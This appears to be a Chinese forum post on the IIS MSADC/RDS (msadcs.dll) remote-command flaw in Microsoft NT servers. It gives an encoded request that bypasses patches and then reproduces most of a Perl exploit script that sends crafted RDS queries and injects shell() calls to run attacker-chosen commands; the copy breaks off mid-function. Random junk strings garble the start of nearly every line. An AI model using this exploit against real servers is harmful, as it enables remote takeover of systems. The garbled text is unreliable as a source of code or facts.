IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
_GI [SzD }\*dD2qNL} 涉及程序:
,UH`l./3DX Microsoft NT server
ib/&8)Y+J PX\}lTJ 描述:
&nZ=w#_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
,yAvLY5P XHlPjw 详细:
7I(Sa?D: 如果你没有时间读详细内容的话,就删除:
YpL{c* M c:\Program Files\Common Files\System\Msadc\msadcs.dll
'`/1?,= 有关的安全问题就没有了。
7 82NiVed "MZVwl "E# 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
D
GOc! XZZ Ml 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
lJ R",_ 关于利用ODBC远程漏洞的描述,请参看:
YUM%3 w/h?, L| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm jW?.>( Eq~&d.j 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
DE."XSni http://www.microsoft.com/security/bulletins/MS99-025faq.asp +)L
'qbCSM Q4CxtY 这里不再论述。
SZK~<@q5 5c3)p^]g 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
1 /7H` O? i,<TaW*I /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
L$i&>cF\_> 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
A5!f# i^Ep[3 i7cMe8 #将下面这段保存为txt文件,然后: "perl -x 文件名"
$MB56]W8 |1T2<ZT #!perl
z)]_ (zZ^ #
0K@s_C=n# # MSADC/RDS 'usage' (aka exploit) script
JV(|7Sk #
x_2
[+Ol # by rain.forest.puppy
pWw aN4 #
x)THeH@ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<,HdX,5 # beta test and find errors!
`fY~Lv{4d_ ?9OiF-:n use Socket; use Getopt::Std;
9~
K1+%! getopts("e:vd:h:XR", \%args);
"9&6bBa 4F)z-<-b print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
BqCBH!^x aOyAP-m, if (!defined $args{h} && !defined $args{R}) {
zw7=:<z= print qq~
q 1Rk'k4+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
~bdADVH -h <host> = host you want to scan (ip or domain)
UfOF's_'< -d <seconds> = delay between calls, default 1 second
$X
WJxQRUv -X = dump Index Server path table, if available
%_KNAuM -v = verbose
;jo,&C -e = external dictionary file for step 5
ncu
&<j }U %kKe"$)0 Or a -R will resume a command session
H}dsd=yO ~{=+dQ ~; exit;}
PfF7*}P :PY~Cws $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
$s)G0/~W if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
}f; Zx)! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
6wqq"6w if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
bJx{mq
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
6}K|eUak/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
g(;t,Vy,I |9?67- if (!defined $args{R}){ $ret = &has_msadc;
ppM d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
U~s&}M\n v,KH2 (N print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=xS(Er`r . "cmd /c ";
1Ty{k^% $in=<STDIN>; chomp $in;
<DvpqlT $command="cmd /c " . $in ;
vMRM/. B+`m if (defined $args{R}) {&load; exit;}
Yih^ZTf]O? )^|zuYzN print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
dScit!T" &try_btcustmr;
.o]vjNrd/ s~6?p%
2] print "\nStep 2: Trying to make our own DSN...";
V#ZF0a] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
EZ8Ih,j9 z%}^9 print "\nStep 3: Trying known DSNs...";
v< xe(dC &known_dsn;
Y@c!\0e$ 3G~ T_J& print "\nStep 4: Trying known .mdbs...";
WID4 {>G2 &known_mdb;
THi*'D/ zF>|
9JU if (defined $args{e}){
zRx-xWo print "\nStep 5: Trying dictionary of DSN names...";
W=M]1hy &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
)|x)KY PB.@G,) print "Sorry Charley...maybe next time?\n";
_SJ#k|vcq exit;
u `1cXL[' y"<nx3 ##############################################################################
CSN]k)\N( [;7&E{,C sub sendraw { # ripped and modded from whisker
$A`D p{e" sleep($delay); # it's a DoS on the server! At least on mine...
Xjt/ G):L my ($pstr)=@_;
63#Sf$p{v socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l5b?
'L die("Socket problems\n");
ULIbVy7Y if(connect(S,pack "SnA4x8",2,80,$target)){
u.ffZ]\7l select(S); $|=1;
A^\A^$|O6 print $pstr; my @in=<S>;
%OS}BAh^i select(STDOUT); close(S);
7-p9IFcA return @in;
mBb;:-5 } else { die("Can't connect...\n"); }}
Rn] `_[)*~ ?f}lYQzM ##############################################################################
{[Bo"a>% 2h Wtpus sub make_header { # make the HTTP request
xV]eEOiLM my $msadc=<<EOT
G:u-C<^' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
HfQZRDH User-Agent: ACTIVEDATA
#2&DDy)Bf Host: $ip
0Fd<@wQ0 Content-Length: $clen
{\HEUIa]w Connection: Keep-Alive
>j&+mii \F; S ADCClientVersion:01.06
Z'<I
Is:J Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
32S5Ai@Cd" 8q"C=t7 --!ADM!ROX!YOUR!WORLD!
(c\i .z Content-Type: application/x-varg
&Sr7?u`k Content-Length: $reqlen
!l7D1i~ -qDM(zR EOT
z0F'zN3J ; $msadc=~s/\n/\r\n/g;
;;]^d_ return $msadc;}
/ygC_,mx I;5:jT ` ##############################################################################
+gh*n,:| {0IC2jE sub make_req { # make the RDS request
<6L=% \X{* my ($switch, $p1, $p2)=@_;
<xpHlLc my $req=""; my $t1, $t2, $query, $dsn;
sM0o,l(5 ^,;AM(E if ($switch==1){ # this is the btcustmr.mdb query
pS
C5$a( $query="Select * from Customers where City=" . make_shell();
v?S~ =$. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
x-3!sf@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
n;+e( ob;; j^&{5s elsif ($switch==2){ # this is general make table query
Y2DR
oQ $query="create table AZZ (B int, C varchar(10))";
9Fl}"p[>L. $dsn="$p1";}
&DMKZMj<Q* 4DL;/Z: elsif ($switch==3){ # this is general exploit table query
y<G@7? $query="select * from AZZ where C=" . make_shell();
3zO'=gwJ $dsn="$p1";}
4No!`O-!& CL^MIcq? elsif ($switch==4){ # attempt to hork file info from index server
LDJ=<c! $query="select path from scope()";
@0q%&v0 $dsn="Provider=MSIDXS;";}
f i-E_ 3QDz0ct elsif ($switch==5){ # bad query
YCwfrz $query="select";
3F ;+D $dsn="$p1";}
%+iJpRK)7 BzL>,um $t1= make_unicode($query);
"E;]?s9x $t2= make_unicode($dsn);
d18%zY> $req = "\x02\x00\x03\x00";
|1G /J[E $req.= "\x08\x00" . pack ("S1", length($t1));
zE +)oQ, $req.= "\x00\x00" . $t1 ;
RsS?ibozl $req.= "\x08\x00" . pack ("S1", length($t2));
=<I 90j~) $req.= "\x00\x00" . $t2 ;
6elmLDMni\ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
$u`y return $req;}
A-vK0l+ =&~*r ##############################################################################
Kw}-<y jE.U~D)2YF sub make_shell { # this makes the shell() statement
q&